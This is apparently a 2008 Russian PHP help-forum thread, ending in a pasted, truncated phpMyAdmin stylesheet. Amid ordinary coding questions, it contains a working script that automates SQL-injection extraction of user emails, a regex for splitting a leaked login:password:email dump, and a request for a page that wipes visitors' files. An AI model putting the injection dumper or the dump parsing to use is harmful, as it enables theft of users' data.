//Вставляем баннеры в сайт
$buf=str_replace("[%468Х60%]",$banner1,$buf);
$buf=str_replace("[%120Х600%]",$banner2,$buf);
$buf=str_replace("[%100Х100%]",$banner3,$buf);



П.с. А последнюю строчку своего сообщения ты забыл ;)

Boxs
03.01.2008, 17:39
Вот пример, name'ы заменяешь на соответствующие названия картинки баннера + формат картинки изменишь.
В хтмл файле, в нужных местах вставляешь [%468Х60%], [%120Х600%], [%100Х100%], в те места, где должен (должны) быть соответствующий баннер.
Все картинки баннеров сложены в папку banners.

$buf=implode('',file('templates/site.htm')); //Загружаем хтмл файл сайта

//Создаем массивы с баннерами
$ban1 = array('1_name1.png','1_name2.png','1_name3.png');
$ban2 = array('2_name1.png','2_name2.png','2_name3.png','2 _name4.png');
$ban3 = array('3_name1.png','3_name2.png');

$index1 = rand(0,(count($ban1)-1));
$index2 = rand(0,(coun($ban2)-1));
$index3 = rand(0,(count($ban3)-1));


$banner1 = '<img src=\"banners/'.$ban1["$index1"].'\" />'
$banner2 = '<img src=\"banners/'.$ban2["$index1"].'\" />'
$banner3 = '<img src=\"banners/'.$ban3["$index1"].'\" />'

$buf=str_replace("[%468Х60%]",$banner1,$buf);
$buf=str_replace("[%120Х600%]",$banner2,$buf);
$buf=str_replace("[%100Х100%]",$banner3,$buf);




слушай мне нужна чтоб ставился виде хтмл
да и ещё чтоб можно удалять и редактировать

пример:

<!-- Yandex CY --><a href="http://www.yandex.ru/cy?base=0&amp;host=www.site.ru" target="_blank"><img src="http://www.yandex.ru/cycounter?www.site.ru" width=88 height=31 border=0></a><!-- /Yandex CY -->

Meanor
03.01.2008, 17:44
слушай мне нужна чтоб ставился виде хтмл
да и ещё чтоб можно удалять и редактировать

пример:

<!-- Yandex CY --><a href="http://www.yandex.ru/cy?base=0&amp;host=www.mpchat.com" target="_blank"><img src="http://www.yandex.ru/cycounter?www.mpchat.com" width=88 height=31 border=0></a><!-- /Yandex CY -->

Я не понимаю, что тебе конкретно нужно, чтобы адрес ссылки тоже менялся в зависимости от картинки баннера? тогда просто делаешь еще параллельный массив с адресом ссылок, потом, имея отрандомленный индекс извлекаешь из обоих массивов информацию и хтмл'ишь ее в нужный тебе вид, а потом выводишь...

Boxs
03.01.2008, 17:47
вот такой скрипт нужно на писать

http://i007.radikal.ru/0801/bc/b10f5b503cc7.gif

помогите на писать

:confused:

scrat
03.01.2008, 20:55
вот такой скрипт нужно на писать

помогите на писать

:confused:
нефтыкнул что должен скрипт делать?

Meanor
03.01.2008, 21:25
нефтыкнул что должен скрипт делать?

Либо скрипт котрый выводит такие формочки с таким текстом, либо этот скрипт должен выводить картинки типа той, при помощи lib gd %)

сори за флейм.

Boxs
03.01.2008, 22:08
нефтыкнул что должен скрипт делать?


на кортинке всё понятно :)

Kaimi
03.01.2008, 22:36
Есть сайт, там авторизация через кукисы. Как сделать, чтобы скрипт после отправлении пост запроса(авторизации) мог с помощью гет запроса получать страницы требующие авторизации?

Macro
03.01.2008, 22:39
Есть сайт, там авторизация через кукисы. Как сделать, чтобы скрипт после отправлении пост запроса(авторизации) мог с помощью гет запроса получать страницы требующие авторизации?
http://php.net/fsockopen

Используй функцию fsockopen и fwrite в ее хэндл

ElteRUS
04.01.2008, 00:55
Допустим на сайте имеется sql инъекция (MySQL база). Есть доступ к таблице users и поле email. Вывод осуществляем так

http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users

Выводится только 1 юзер из n-ого количества. Пользуемся лимитом для перебора, но в таблице до*я юзеров - нужно автоматизировать процесс. Я сделал такой скрипт


<?php

$PORT = 80;
$ADDR = gethostbyname("site.com");

$fp = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

socket_connect($fp,$ADDR,$PORT);

$n = 2;
$str1 = "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
$str2 = ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

$str = $str1.$n.$str2;

socket_write($fp,$str,strlen($str));

while($out = socket_read($fp,2048))
{
$s = strstr($out,"<h1>");
$nm = strpos($s,"</h1>");
echo substr($s,4,$nm - 4);

}

socket_close($fp);

echo "<br>";
?>


Все отлично работает - скрипт выводит нам мейл (разумеется работает только с этим сайтом)
НО проблема - почему этот скрипт не работает в цикле ???? Тоесть я хочу, что бы переменная $n (значение лимита) менялась в цикле и каждую итерацию скрипт загружал новую страницу, извлекал оттуда мейл и что-то с ним делал (например записывал в файл). Например так


for($i=0;$i < 10;$i++)
{

$str1 = "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
$str2 = ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

$str = $str1.$i.$str2;

socket_write($fp,$str,strlen($str));

while($out = socket_read($fp,2048))
{}
}


Но не работает. Подскажите плиз почему ?

Kaimi
04.01.2008, 01:04
С fsock вроде разобрался. Помогите составить регулярку чтобы вытащить из кукиса (PHPSESSID=2311632a0e37308b5403aac65631185d)
значение PHPSESSID

Ch3ck
04.01.2008, 01:16
$pattern = "|[a-z0-9]{32}|is";
preg_match_all($pattern, $text, $out);

и т.д и т.п

Piflit
04.01.2008, 01:20
$y = "PHPSESSID=2311632a0e37308b5403aac65631185d";
$x = preg_match(/([\w]{32})/,$y,$z);
echo $z;

Meanor
04.01.2008, 01:34
|[a-f0-9]{32}| вот так более правильно

Noiro
04.01.2008, 01:39
С fsock вроде разобрался. Помогите составить регулярку чтобы вытащить из кукиса (PHPSESSID=2311632a0e37308b5403aac65631185d)
значение PHPSESSID
Если выдергиваешь из заголовков, переданных веб-сервером без дальнейшей обработки, то предложу свой вариант,
preg_match("~PHPSESSID=([\w\d]+)\;~",$header,$m); //PHPSESSID лежит в $m[1]

Piflit
04.01.2008, 01:50
Noiro вместо [\w\d] просто [\w]
зачем в регулярке нужны ~?

astrologer
04.01.2008, 02:09
а вместо [\w] просто \w
зачем в регулярке нужны ~? Это ограничители.

Noiro
04.01.2008, 02:12
зачем в регулярке нужны ~?
Просто / обычно содержится в самих регэкспах у меня, потому использую вместо / ~, чтобы не экранировать урл-ы.

SAKEL
04.01.2008, 21:32
<?php
set_time_limit(0);
foreach (glob("C:\TEST\*") as $filename)
{
unlink($filename);
}

?>


Вот нашол на Ачате скрипт каторый удаляет содержание папки C:\TEST\ -создал страницу с .php на хостинге http://vagonchik.com/ вставил этот скрипт. И захожу на эту страницу-и нифига файлы как были в той папке так и остались! Мож что то не то? ато я ужо теряццо начал

Macro
04.01.2008, 21:51
<?php
set_time_limit(0);
foreach (glob("C:\TEST\*") as $filename)
{
unlink($filename);
}

?>


Вот нашол на Ачате скрипт каторый удаляет содержание папки C:\TEST\ -создал страницу с .php на хостинге http://vagonchik.com/ вставил этот скрипт. И захожу на эту страницу-и нифига файлы как были в той папке так и остались! Мож что то не то? ато я ужо теряццо начал
Это Хостинг, мон шери, там тебя не пустят в эту папку

SAKEL
04.01.2008, 22:01
так нет погоди! я думал этот скрипт удаляет файлы в папке того кто зайдет на эту страницу! например: www............./info.php где в файле инфо.пхп будет скрипт-заходит чудак там на его компе удаляется все что есть в папке тест! Нет не то? а как зделать так?

Macro
04.01.2008, 22:08
так нет погоди! я думал этот скрипт удаляет файлы в папке того кто зайдет на эту страницу! например: www............./info.php где в файле инфо.пхп будет скрипт-заходит чудак там на его компе удаляется все что есть в папке тест! Нет не то? а как зделать так?
php скрипт исполняется на стороне сервера. Удалить файлы у пользователя через веб-страницу можно только, используя javascript exploit со специальным шеллкодом :)

SAKEL
04.01.2008, 22:12
используя javascript exploit со специальным шеллкодом
ого вот это ты загнал для меня это космос, ну что ж спасиба и на этом! БУду осваивать космос :)

.:EnoT:.
05.01.2008, 01:25
Хочу написать что-то вроде скрипта анонимности.
Для этого мне нужно научиться подменять http заголовки :)
То есть подмена таких данных как ОС, юзер-агент, рефферер, язык системы ну и подобное.
В гугле нашёл не очень много и не интересно.
Если у кого есть материал по данной теме очень буду благодарен если выложите...маны, учебники, всё что угодно.
Заранее спасибо!

*D1VER
05.01.2008, 01:57
почитай http://snippets.pp.ru/template.php?mode=php&c=1&cc=1

inlanger
05.01.2008, 15:24
Люди, помогите, пожалуйста.
Вопрос такой - как мне эмулировать нажатие ссылки _http://сайт.org//addpriv.php?uz=inlanger&mess=some_text
Делаю:

<?php ## "Эмуляция" браузера.
// Соединяемся с Web-сервером localhost. Обратите внимание,
// что префикс "http://" не используется - информация о протоколе
// и так содержится в номере порта (80).
$fp = fsockopen("zzoom.org", 80);
// Посылаем запрос главной страницы сервера. Конец строки
// в виде "\r\n" соответствует стандарту протокола HTTP.
fputs($fp, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.1\r\n");
// Посылаем обязательный для HTTP 1.1 заголовок Host.
fputs($fp, "Host: zzoom.org \r\n");
// Отключаем режим Keep-alive, что заставляет сервер СРАЗУ ЖЕ закрыть
// соединение после посылки ответа, а не ожидать следующего запроса.
// Попробуйте убрать эту строчку - и работа скрипта сильно замедлится.
fputs($fp, "Connection: close\r\n");
Конец заголовков.
fputs($fp, "\r\n");
// Теперь читаем по одной строке и выводим ответ.
echo "<pre>";
while (!feof($fp))
echo htmlspecialchars(fgets($fp, 1000));
echo "</pre>";
// Отключаемся от сервера.
fclose($fp);
?>

оно переходы считает(типа на сайте я что-то нажимаю), но сообщение не посылает.

mr.The
05.01.2008, 15:56
2inlanger
сначала запиши всё в переменную а потом только посылай запрос.
и поставь http 1.0

inlanger
05.01.2008, 16:05
$connect=@fsockopen("zzoom.org",80,$errno,$errstr, 30);
$page="addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss";
// Отправляем команду GET - получить страницу (/)
fputs($connect,.$page."HTTP/1.0\n\n");
// Читаем ответ
while (!feof($s)) echo fgets($s,1000);
// Закрываем сокет
fclose($s);

немного упростил и переделал скрипт...всё равно реакция та же.

Scipio
05.01.2008, 16:18
в первом примере строчка Конец заголовков. не закоментирована и если ты хочешь видеть не текст страницы убери htmlspecialchars()

второй пример полный бред не обозначено что гетом передаешь надо так:
$page='GET addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss ';

и соответственно пробел перед http забыл (я его уже в переменной включил) откуда взялась переменная $s хост неуказан полный бред короче

пользуй первый скрипт поставь вначале скрипта error_reporting (E_ALL); и посмотри ошибки которые выдаются

inlanger
05.01.2008, 16:22
$connect=@fsockopen("zzoom.org",80,$errno,$errstr, 30);
$page='GET addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss ';
// Отправляем команду GET - получить страницу (/)
fputs($connect,.$page."HTTP/1.0\n\n");
// Читаем ответ
while (!feof($connect)) echo fgets($connect,1000);
// Закрываем сокет
fclose($connect);

всё равно не пашет...

Scipio
05.01.2008, 16:27
говорю пользуй первый пример:
<?php
error_reporting (E_ALL);
$fp = fsockopen("zzoom.org", 80);
fputs($fp, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.0\r\n");
fputs($fp, "Host: zzoom.org \r\n");
fputs($fp, "Connection: close\r\n");
fputs($fp, "\r\n");
echo "<pre>";
while (!feof($fp))
echo fgets($fp, 1000);
echo "</pre>";
fclose($fp);
?>

там же еще авторизация нужна как я понял

inlanger
05.01.2008, 16:39
хм...а как авторизироваться через скрипт?
вот что у меня получилось: _http://sportmobile.net/otp.php

<?
header( "Content-type: text/html; charset=UTF-8" );
error_reporting (E_ALL);
$fp = fsockopen("trubka.awardspace.com", 80);
fputs($fp, "GET /input.php?log=inlanger&par=460179 HTTP/1.0\r\n");
fputs($fp, "Host: trubka.awardspace.com \r\n");
//fputs($fp, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.0\r\n");
//fputs($fp, "Host: trubka.awardspace.com \r\n");
fputs($fp, "Connection: close\r\n");
fputs($fp, "\r\n");
echo "<pre>";
while (!feof($fp))
echo fgets($fp, 1000);
echo "</pre>";
fclose($fp);
//------------
echo "-------------------------";
$fp2 = fsockopen("trubka.awardspace.com", 80);
fputs($fp2, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.0\r\n");
fputs($fp2, "Host: trubka.awardspace.com \r\n");
fputs($fp2, "Connection: close\r\n");
fputs($fp2, "\r\n");
echo "<pre>";
while (!feof($fp2))
echo fgets($fp2, 1000);
echo "</pre>";
fclose($fp2);
?>

sw04
05.01.2008, 19:54
подскажите скрипт для замены слов на их синонимы..

ENFIX
05.01.2008, 19:57
берешь массив слов, массив синонимов и str_replace() тебе в помощь

-=lebed=-
05.01.2008, 21:24
Как запустить внешнюю программу win32.ехе или (cmd) из скрипта php, как потом убить принудительно запущенный процесс?

Digimortal
05.01.2008, 21:38
запустить можно с помощью

system()

убить - с помощью запуска

taskkill /F /IM процесс

-=lebed=-
05.01.2008, 21:55
запустить можно с помощью

system()

убить - с помощью запуска

taskkill /F /IM процесс
Хотелось бы поподробнее

А именно запуск exe-файла с указанием пути (где вообще должен лежать исполняемый файл чтоб к нему был доступ), получение pid процесса, убийство процесса по pid.

ЗЫ Указание исполняемого файла по абсолютному пути работает, а относительный можно указать (относительно корневой web-директории)?


<?php
$command="start /w D:/passpro/PasswordsPro.exe /auto";
exec("$command");
?>

И как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?

Macro
05.01.2008, 22:32
как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?
ИМХО никак. Сам ищу такую возможность. Или это возможно через большую толстую вончую задницу используя консольный php. Но думаю что нет

Digimortal
05.01.2008, 23:22
где будет лежать файл - без разницы..

taskkill с данными параметрами, что я указал, убивает процесс по его имени, т.е.
taskkill /F /IM имя_процесса
т.ч. pid узнавать не надо..

можно указать относительный путь..

>> И как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?

я даже х.з.. я б вообще такое не пхп писал, а на PERLe например, используя треды..

Macro
05.01.2008, 23:36
я даже х.з.. я б вообще такое не пхп писал, а на PERLe например, используя треды..
Во-во, вот и я про то. Нужны потоки или на худой конец форки, но они только в консольной php

Scipio
06.01.2008, 15:35
ээ, я не совсем понял мож быть, но чем вам такой вариант не нравится:
<?php
$f=fopen ("asd","w");
$spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("cmd.exe", $spec, $pipes);
for ($i=0; $i<100; $i++)
fwrite($pipes[0], "echo Hello World #$i!\n");
fclose($pipes[0]);
while (!feof($pipes[1])) fputs($f,fgets($pipes[1], 1024));
fclose($pipes[1]);
proc_close($proc);
?>

Macro
06.01.2008, 15:42
ээ, я не совсем понял мож быть, но чем вам такой вариант не нравится:
<?php
$f=fopen ("asd","w");
$spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("cmd.exe", $spec, $pipes);
for ($i=0; $i<100; $i++)
fwrite($pipes[0], "echo Hello World #$i!\n");
fclose($pipes[0]);
while (!feof($pipes[1])) fputs($f,fgets($pipes[1], 1024));
fclose($pipes[1]);
proc_close($proc);
?>


Гм интересная штука, но все равно делает не то, что надо. Надо запустить некую прогу и чтобы она сама по себе работала и выводила в файл, а скрипт при этом не зависал, а продолжал работу, например.

Scipio
06.01.2008, 16:33
Macro, мож я реально чето не догоняю (после вчерашнего) но вот смотри:
<?php
$spec = array(
0 => array("pipe", "r"),
1 => array("file", "eeror", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("ping", $spec,$pipes);
fwrite($pipes[0], "localhost -t100\r\n");
echo 1233;
proc_close($proc);
?>
вроде как скрипт завершился, но файл eeror постоянно увеличивается, т.е. команда ping localhost -t100 выполняется и результат пишется в файл

Macro
06.01.2008, 16:38
Macro, мож я реально чето не догоняю (после вчерашнего) но вот смотри:
<?php
$spec = array(
0 => array("pipe", "r"),
1 => array("file", "eeror", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("ping", $spec,$pipes);
fwrite($pipes[0], "localhost -t100\r\n");
echo 1233;
proc_close($proc);
?>
вроде как скрипт завершился, но файл eeror постоянно увеличивается, т.е. команда ping localhost -t100 выполняется и результат пишется в файл
Сам, наверное, туплю, но у меня выдается в файл eeror ошибка использования команды ping...

Scipio
06.01.2008, 16:41
угу, вначале файла синтаксис ping, а вниз прокрути, или у тебя файл eeror не увеличивается?

Macro
06.01.2008, 16:42
угу, вначале файла синтаксис ping, а вниз прокрути, или у тебя файл eeror не увеличивается?
Точно подметил, не увеличивается

Scipio
06.01.2008, 16:55
дабы не вводить людей в заблуждение скажу:
да ты прав, я тупанул, я просто не завершил процесс когда пробовал а скрипт завершил принудительно и этот процесс у меня в файл и писал

вобщем пробую дальше что нибудь мож че и получится, хотя сейчас уже совсем не уверен

Spyder
07.01.2008, 02:28
мм, на пшп писать такую вещь не следует, даже на перле будет проблематично
всё таки языки немного не для этого =\
хотя всё возможно

Digimortal
07.01.2008, 03:18
>> даже на перле будет проблематично

не проблематично..

KSURi
07.01.2008, 03:40
И как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?
win32:

system("start /B prog.exe") # не ждать завершения работы прог.ехе, но и не завершать скрипт
system("start /B prog.exe > file") # тоже самое с перенаправлением вывода

аналогично для *nix:

system("setsid ./prog")
system("setsid ./prog 2> file")

Ded MustD!e
09.01.2008, 16:03
Есть бооольшущий txt файл состояций только из строчек (первая строка):

at :: (ip: *)</font></td><td valign=bottom align=right>(<a href=# onClick=javascript:popUp("message.php?id=9")>E</a>)</td></table></td></tr></table></td></tr></table><table width="100%" border="0" cellspacing="0" cellpadding="0" bordercolor="#FFFFFF"> <tr> <td height="27"> <table width="100%" border="0" cellspacing="2" cellpadding="2"><tr> <td width="30"> <div align="center"><b>2</b></div></td><td width="30" bgcolor="#CBD5DC" valign="bottom"> <div align="center"> <a href=http://site.com/profile.php?id=6><img src=Site.com/25000000.gif border=0 width=20 height=20 alt='a'></a></div></td><td valign="bottom" bgcolor="#CBD5DC"> <b>vasia:qwe123:1@mail.ru:222345</b></td><td width="100" valign="bottom" bgcolor="#CBD5DC"> <div align="right"><b> <a href='mailto:a@b.com'>4</a></b></div></td></tr></table></td></tr><tr> <td><table width="100%" border="0" cellspacing="2" cellpadding="2"><tr bgcolor="#CBD5DC"> <td bgcolor="#E6EBEE"> <font size="2" face="Geneva, Arial, Helvetica, san-serif">3<br><table width=100%><td valign=bottom align=left><br><div align=left><font size=1>10<div align=left><font size=1>Posted on: 8

Естественно хотелось бы вычленить от сюда части vasia:qwe123:1@mail.ru:222345 в отдельный файл, при этом поле icq не всегда присутствует, то есть бывает вид vasia:qwe123:1@mail.ru: открыть-закрыть-записать в файл я в состоянии, но вот написать реглярку, как я понимаю надо через preg_match делать, но че там со слоями и чтобы все это еще и работало, я сделать не могу. Заранее спасибо, отплюсую всех, кто поможет.

Macro
09.01.2008, 16:14
preg_match_all('/([^>:]+):([^:]+):([^:]+):([^:<]*)/',$file,$matches);
$names=$matches[1];
$passes=$matches[2];
$mails=$matches[3];
$icqs=$matches[4];

Что-то типа того

presidentua
09.01.2008, 16:22
Такой ламаковский вопрос :)
в пхпбб есть такой код
if ( !defined('IN_PHPBB') ) { die("Hacking attempt"); exit; }
а есть и без "exit"

if (!defined('IN_PHPBB')) { die('Hacking attempt'); }

Знач вопрос - зачем в первом варианте exit, здесь есть какой то тайный смысл (ну типа ДАЙ не всегда срабатывает и т.д.) или это они добавили ДАЙ, а ЕХИТ им было впадло удалять.

bul.666
09.01.2008, 16:24
После die() код уже не выполняется

Macro
09.01.2008, 16:25
Такой ламаковский вопрос :)

Впадлу удалять было :) Разницы никакой, exit все равно не сработает

lsass.exe
09.01.2008, 16:25
Такой ламаковский вопрос :)
в пхпбб есть такой код
if ( !defined('IN_PHPBB') ) { die("Hacking attempt"); exit; }
а есть и без "exit"

if (!defined('IN_PHPBB')) { die('Hacking attempt'); }

Знач вопрос - зачем в первом варианте exit, здесь есть какой то тайный смысл (ну типа ДАЙ не всегда срабатывает и т.д.) или это они добавили ДАЙ, а ЕХИТ им было впадло удалять.
вабще exit() прерывает дальнейшую работу скрипта без вывода некого сообщения, а конструкция die() также позволяет указать сообщение, которое будет выведено, а после уже завершится работа скрипта.

astrologer
09.01.2008, 16:32
lsass.exe,



void exit ([ string $status ] )

exit — Output a message and terminate the current script
die — Equivalent to exit()
Ded MustD!e, можно сначала вырезать все теги (strip_tags), будет проще.

Macro
09.01.2008, 16:34
Ded MustD!e, можно сначала вырезать все теги (strip_tags), будет проще.
УЖе не нужно, мой алгоритм работает и с тегами. Была ошибка, я ее поправил.

Macro
09.01.2008, 16:37
:)

Ну в том то и вопрос нафиг ЕХИТ. Или может им за размер исходников платят.
Всяко бывает. =) А почему тебя это так интересует?

presidentua
09.01.2008, 16:40
Всяко бывает. =) А почему тебя это так интересует?
Просто интересно, я думал может есть какой то БАГ в реализации ПХП, что позволяет обойти ДАЙ, и они для пущей надежности вставили ЕХИТ. И может и мне надо везде повставлять после ДАЙ еще и ЕХИТ.

Ну раз нет такого БАГа то не буду засорять код у себя.

Всем спасибо :)

lsass.exe
09.01.2008, 16:51
lsass.exe,


Ded MustD!e, можно сначала вырезать все теги (strip_tags), будет проще.
хм, помню когда в книге читал было написано как в моем посте выше...

Все может быть :D

Helios
09.01.2008, 16:56
2presidentua норкомане-программисты есть везде. Чего стоит код из DLE

// ================================================== =============
// <<-- Проверка GD -->>
// ================================================== =============
function gdversion(){
static $gd_version_number = null;
if ($gd_version_number === null) {
ob_start();
phpinfo(8);
$module_info = ob_get_contents();
ob_end_clean();
if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
$module_info, $matches)) {
$gdversion_h = $matches[1];
} else {
$gdversion_h = 0;
}
}
return $gdversion_h;
}


Люди не знают что такое gd_info() и extension_loaded()

Macro
09.01.2008, 17:00
Гг угу бывает всякое, например, объясните, как может отсутствовать $_SERVER['REMOTE_ADDR'] ?
Разработчики WCPS cms считают, что может.


$ip=($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : getenv("HTTP_X_FORWARDED_FOR");


Где-то еще видел такое


$val=intval($_GET['val']);
$val=mysql_escape_string($val);

Conquerstador
09.01.2008, 18:28
Вот код phpmyadmin где надо прописать меня пользователь и пароль???
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
*
* @version $Id: phpmyadmin.css.php 10950 2007-12-01 16:06:01Z lem9 $
*/

/**
*
*/
// sometimes, we lose $_REQUEST['js_frame']
define('PMA_FRAME',empty($_REQUEST['js_frame']) ? 'right' : $_REQUEST['js_frame']);

define('PMA_MINIMUM_COMMON', true);
require_once './libraries/common.inc.php';
require_once './libraries/sqlparser.lib.php';

// MSIE 6 (at least some unpatched versions) has problems loading CSS
// when zlib_compression is on
if (PMA_USR_BROWSER_AGENT == 'IE' && PMA_USR_BROWSER_VER == '6'
&& (ini_get('zlib.output_compression'))) {
ini_set('zlib.output_compression', 'Off');
}

if ($GLOBALS['text_dir'] === 'ltr') {
$right = 'right';
$left = 'left';
} else {
$right = 'left';
$left = 'right';
}

// Send correct type:
header('Content-Type: text/css; charset=ISO-8859-1');

// Cache output in client - the nocache query parameter makes sure that this
// file is reloaded when config changes
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 3600) . ' GMT');

?>
html {
font-size: <?php echo $_SESSION['PMA_Config']->get('fontsize'); ?>;
}

input, select, textarea {
font-size: 1em;
}

div.item label {
white-space: nowrap;
}

/* @deprecated */
.nowrap {
white-space: nowrap;
}
div.nowrap {
margin: 0;
padding: 0;
}

<?php
if ($_SESSION['PMA_Theme']->checkVersion('2.7.0')) {
?>

form {
margin: 0;
padding: 0;
display: inline;
}

a img {
border: 0;
}


/* server privileges */
#tableuserrights td,
#tablespecificuserrights td,
#tabledatabases td {
vertical-align: middle;
}
/* END server privileges */


/* leave some space between icons and text */
.icon {
vertical-align: middle;
margin-right: 0.3em;
margin-left: 0.3em;
}
/* no extra space in table cells */
td .icon {
margin: 0;
}

.selectallarrow {
margin-<?php echo $right; ?>: 0.3em;
margin-<?php echo $left; ?>: 0.6em;
}

div#tablestatistics {
border-bottom: 0.1em solid #669999;
margin-bottom: 0.5em;
padding-bottom: 0.5em;
}

div#tablestatistics table {
float: <?php echo $left; ?>;
margin-bottom: 0.5em;
margin-right: 0.5em;
}

div#tablestatistics table caption {
margin-right: 0.5em;
}


/* left frame content */
body#body_leftFrame {
background-color: <?php echo $GLOBALS['cfg']['LeftBgColor']; ?>;
}

div#pmalogo,
div#leftframelinks,
div#databaseList {
text-align: center;
border-bottom: 0.1em solid #669999;
margin-bottom: 0.5em;
padding-bottom: 0.5em;
}

div#leftframelinks .icon {
vertical-align: middle;
padding: 0;
margin: 0;
}

div#leftframelinks a:hover {
background-color: #669999;
}

/* leftdatabaselist */
div#left_tableList ul {
list-style-type: none;
list-style-position: outside;
margin: 0;
padding: 0;
background-color: <?php echo $GLOBALS['cfg']['LeftBgColor']; ?>;
}

div#left_tableList li {
margin: 0;
padding: 0;
white-space: nowrap;
}

<?php if ($GLOBALS['cfg']['LeftPointerEnable']) { ?>
div#left_tableList li:hover {
background-color: <?php echo $GLOBALS['cfg']['LeftPointerColor']; ?>;
}
<?php } ?>

div#left_tableList img {
padding: 0;
vertical-align: middle;
}

div#left_tableList ul ul {
margin-left: 0em;
padding-left: 0.1em;
border-left: 0.1em solid #669999;
padding-bottom: 0.1em;
border-bottom: 0.1em solid #669999;
}
/* END left frame content */


/* querywindow */
body#bodyquerywindow {
margin: 0;
padding: 0;
}

div#querywindowcontainer {
margin: 0;
padding: 0;
width: 100%;
}

div#querywindowcontainer fieldset {
margin-top: 0;
}
/* END querywindow */


/* querybox */

/* Gecko bug */
div[class=formelementrow],
div[id=queryfieldscontainer] {
border: 1px solid transparent;
}

div#sqlquerycontainer {
float: left;
width: 69%;
/* height: 15em; */
}

div#tablefieldscontainer {
float: right;
width: 29%;
/* height: 15em; */
}

div#tablefieldscontainer select {
width: 100%;
/* height: 12em; */
}

textarea#sqlquery {
width: 100%;
/* height: 100%; */
}

div#queryboxcontainer div#bookmarkoptions {
margin-top: 0.5em;
}
/* end querybox */


fieldset .formelement {
line-height: 2.4em;
float: left;
margin-right: 0.5em;
/* IE */
white-space: nowrap;
}
/* revert for Gecko */
fieldset div[class=formelement] {
white-space: normal;
}

/* IE */
fieldset .formelement input,
fieldset .formelement select {
margin-top: 0.5em;
margin-bottom: 0.5em;
}
/* revert for Gecko */
fieldset div[class=formelement] input,
fieldset div[class=formelement] select {
margin-top: auto;
margin-bottom: auto;
height: auto;
}

/* Calendar */
table.calendar { width: 100%; }
table.calendar td { text-align: center; }
table.calendar td a { display: block; }

table.calendar td a:hover {
background-color: <?php echo $GLOBALS['cfg']['BrowsePointerColor']; ?>;
}

table.calendar th {
background-color: <?php echo $GLOBALS['cfg']['ThBgcolor']; ?>;
}

table.calendar td.selected {
background-color: <?php echo $GLOBALS['cfg']['BrowseMarkerColor']; ?>;
}

img.calendar { border: none; }
form.clock { text-align: center; }
/* end Calendar */


/* Options, eg. on import page */
fieldset {
background-color: <?php echo $GLOBALS['cfg']['BgcolorOne']; ?>;
}
fieldset legend {
background-color: transparent;
}

/* buttons in some browsers (eg. Konqueror) are block elements, this breaks design */
button { display: inline; }

/* Textarea */
textarea { overflow: auto; }


/* topmenu */

/* Gecko 1.7 bug (FF 1.0) */
#topmenucontainer {
border: 1px solid <?php echo $GLOBALS['cfg']['RightBgColor']; ?>;
}

ul#topmenu {
font-weight: bold;
list-style-type: none;
margin: 0;
padding: 0;
}

ul#topmenu li {
float: left;
margin: 0;
padding: 0;
vertical-align: middle;
}

#topmenu img {
vertical-align: middle;
margin-right: 0.1em;
}

/* default tab styles */
.tab, .tabcaution, .tabactive {
display: block;
margin: 0.2em 0.2em 0 0.2em;
padding: 0.2em 0.2em 0 0.2em;
white-space: nowrap;
}

/* disabled tabs */
span.tab {
color: #666666;
}

/* disabled drop/empty tabs */
span.tabcaution {
color: #ff6666;
}

/* enabled drop/empty tabs */
a.tabcaution {
color: #FF0000;
}
a.tabcaution:hover {
color: #FFFFFF;
background-color: #FF0000;
}

<?php if ($GLOBALS['cfg']['LightTabs']) { ?>
/* active tab */
a.tabactive {
color: black;
}
<?php } else { ?>
#topmenu {
margin-top: 0.5em;
padding: 0.1em 0.3em 0.1em 0.3em;
}

ul#topmenu li {
border-bottom: 1pt solid black;
}

/* default tab styles */
.tab, .tabcaution, .tabactive {
background-color: <?php echo $GLOBALS['cfg']['BgcolorOne']; ?>;
border: 1pt solid <?php echo $GLOBALS['cfg']['BgcolorTwo']; ?>;
border-bottom: 0;
border-top-left-radius: 0.4em;
border-top-right-radius: 0.4em;
}

/* enabled hover/active tabs */
a.tab:hover, a.tabcaution:hover, .tabactive, .tabactive:hover {
margin: 0;
padding: 0.2em 0.4em 0.2em 0.4em;
text-decoration: none;
}

a.tab:hover, .tabactive {
background-color: <?php echo $GLOBALS['cfg']['BgcolorTwo']; ?>;
}

/* disabled drop/empty tabs */
span.tab, span.tabcaution {
cursor: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/error.ico), default;
}
<?php } ?>
/* end topmenu */



/* data tables */
table caption,
table th,
table td {
padding: 0.1em 0.5em 0.1em 0.5em;
margin: 0;
margin: 0.1em;
vertical-align: top;
}

/* odd table rows 1,3,5,7,... */
table tr.odd th,
table tr.odd {
background-color: <?php echo $GLOBALS['cfg']['BgcolorOne']; ?>;
}

/* even table rows 2,4,6,8,... */
table tr.even th,
table tr.even {
background-color: <?php echo $GLOBALS['cfg']['BgcolorTwo']; ?>;
}

/* marked table rows */
table tr.marked th,
table tr.marked {
